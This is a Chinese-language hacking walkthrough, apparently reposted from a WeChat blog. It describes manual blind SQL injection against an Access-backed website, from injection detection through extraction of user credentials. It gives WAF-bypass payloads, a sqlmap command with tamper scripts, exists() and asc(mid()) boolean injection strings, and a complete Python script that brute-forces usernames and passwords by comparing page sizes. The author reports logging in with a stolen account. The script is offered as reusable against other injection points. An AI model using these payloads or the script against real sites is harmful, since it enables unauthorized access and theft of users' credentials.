Access-SQL手工注入实战

判断是否存在注入:

方法1减法判断:

正常页面id=14

注入测试id=14-1也就是id=13,页面正常跳转存在注入。

方法2 and和or判断:

构造id=14 and 1=1,发现被WTS-WAF拦截了

经过反复尝试,这里可以利用“+”替换空格和大写字母绕过WTS-WAF,并且此waf没有过滤and。

id=14+and+1=1成功显示:

id=14+and+1=2没有显示文章:

根据报错信息很明显是Access数据库,但是其中的and IsPass我有点不懂。

access数据库特点: 表名—->列名—->内容数据 不像其他的数据库 可创建多个数据库然后才是表再是内容 access只有一个库若干张表。

二话不说用sqlmap跑一下,结果没有跑出来

sqlmap.py -u “http://www.XXXXX.com/news_list.jsp?type=8&pkID=7288*” –user-agent ” Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; BIDUBrowser 7.6)” –proxy=http://127.0.0.1:1080 –tamper “randomcase.py,space2plus.py”

只能手动注入了 找了一些资料 网上有很多大神都总结过Access数据库手动注入步骤 一般方法如下:

1.判断有无注入

2.猜解表名

3.猜解字段

4.猜解管理员/用户ID值

5.猜解用户名和密码长度

6.猜解用户名和密码

手动注入

1.判断有无注入点(上面已经判断了 略 …)

2.猜解表名

Access数字型注入不能回显,只能根据执行命令后web页面显示正确与否来猜解判断,手动注入效率会比较低。

方法一:order by和union猜解表列

id=14+orDer+By+1000加到1000了也没有报错 order by方法行不通

order by不能找出多少列 用union查询时 报错信息提示“必须包含至少一个表或查询“

猜想select后面要接一个表名 但现在表名和列数都不知道 select方式也行不通。

方法二:用exists()来猜解

构造id=14+and+eXists(sElect * frOm+admin) 报错信息说admin表不存在 说明方法二可行

于是找了一个常用数据库表明字典 结合bp进行暴力猜解。

爆破结果 发现users表

3.猜解字段名

构造id=14+and+eXists(sElect+$username$+frOm+users) 收集了一个常用字段名字典 结合bp暴力猜解 发现一定存在“username、password、id“3个字段。

4.猜解用户id

我又暴力猜解了一下id 构造id=14+and+eXists(sElect+id+frOm+users+whEre+id=$1$) 发现里面包含100+的用户信息 id值从21开始 也没有damin用户 看样子只是个普通用户数据库。

5.猜解第一个用户的用户名和密码长度

构造 id=14+and+(sElect+top+1+len(username)+frOm+users+whEre+id=21)+>+6

通过显示判断 id=21的用户len(username)=7 len(password)=16

6.猜解用户名和密码

构造id=14+and+(sElect+top+1+asc(mid(username,1,1))+frOm+users+where+id=21)+>+96 mid()表示分段截取 mid(username,1,1)中username是截取对象,第一个‘1’表示截取第一个字母,第二个‘1’表示1个单位及每次截取的长度 asc()将截取的内容转换成ascii码 然后遍历对比ASCII表一位一位的猜解 就能获得username。

Id=21用户的第一个字母为k

根据用户名长度为7最后知道id=21用户的usernam=kongxin

最终决定写一个脚本来跑

跑前10个用户密码

用户Kongxin/1978

成功登陆

漏洞测试点到为止。

附python脚本:

#-*- coding: utf-8 -*-
#python3环境下运行 模块安装时可能会出现一些问题大家自行百度
#思路:通过对比返回页面的大小来判断语句是否正确执行,代码中15000是正确会写页面的大小。
#首先通过上面的猜解知道了 数据表有users 字段有username、password、id 还知道了id起始值为21。
#下面的代码已经写好了猜解过程,以后遇到只能手动注入的注入点,只需要更改header头、main函数中的参数值和绕waf语句就能直接跑
import urllib.request
#from bs4 import BeautifulSoup
import requests
import sys
#from socket import *
header = {}#头部构造
header['Host'] = 'www.XXXXX.com'
header['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'
header['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
header['Accept-Language'] = 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'
header['Accept-Encoding'] = 'gzip, deflate'
header['Cookie'] = ''
header['Connection'] = 'close'
header['Upgrade-Insecure-Requests'] = '1'

def Lenth_web(conn_rurl,asc):#计算页面大小
 conn_rurl = conn_rurl+str(asc)
# print(conn_rurl)
 response = requests.get(conn_rurl, headers=header, timeout=15)
 l = len(response.content)
# print(type(l))
 response.close()
 return l

def Lenth_words(conn_rurl):#计算字段长度
 max_lenth = range(0,50)
 r = find_word(conn_rurl,max_lenth)
 print(r)
 return r

def find_word(conn_rurl,array):
 low = 0
# print(low)
 lenth = len(array)-1
# print(lenth)
# i = (lenth+low)/2
# print(array[int(i)])
 while low < lenth:
 if Lenth_web(conn_rurl,array[int((lenth+low)/2)]) > 15000:
 #15865是正常页面的大小,利用2分使正确值始位置终在low和lenth之间 low和lenth不断向正确位置靠拢
 low = int((lenth+low)/2)
 else:
 lenth = int((lenth+low)/2)
 if lenth-low == 1:
 #以上的方法会使得lenth始终大于low 最后接近正确值时lenth会比low一直大1无限循环下去 所以这里用差值为1来停止循环 较大的lenth就是要求的值的位置
 break
 return array[lenth]

def find(conn_rurl):
 try:
 if Lenth_web(conn_rurl,97) > 15000:#说明是小写字母 小写字母ASCII码是97-122
 array = range(97, 123)
 a = find_word(conn_rurl,array)
 print(chr(a),end='')#end为空取消换行符
 elif Lenth_web(conn_rurl,65) > 15000:#说明是大写字母 大写字母ASCII码65-90
 array = range(65, 91)
 a = find_word(conn_rurl,array)
 print(chr(a),end='')
 else:#说明是数字 数字的sacii编码是48-57
 array = range(48, 58)
 a = find_word(conn_rurl,array)
 print(chr(a),end='')
 except:
 pass

def main():#通过更改table_name column_name 遍历user_id读取表中前10个用户的信息
 rurl = 'http://www.XXXX.com'#目标url
 table_name = 'users' #表明
 column_name = 'username' #字段名
 user_id = 21#第一用户id
 n = 0
 while n < 10:#读取前10个用户的字段
 conn_rurl_lenth = rurl+'/news/shownews.asp?id=14+and+(sElect+top+1+len('+column_name+')+frOm+'+table_name+'+whEre+id='+str(user_id)+')+>+'
 l = Lenth_words(conn_rurl_lenth)
 #猜解字段长度语句
 i = 0
 while i < l:
 conn_rurl = rurl+'/news/shownews.asp?id=14+And+(sElect+top+1+asc(mid('+column_name+','+str(i+1)+',1))+frOm+'+table_name+'+whEre+id='+str(user_id)+')+>+'
 i = i + 1
 #猜解字段语句
# print(conn_rurl)
 find(conn_rurl)
 print('\n')
 user_id = user_id + 1
 n = n + 1
if __name__ == '__main__':
 main()

参考来源:arno'blog

作者:arno

如有侵权,联系删除

原文发布于微信公众号 - HACK学习呀(Hacker1961X)

原文发表时间:2019-06-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券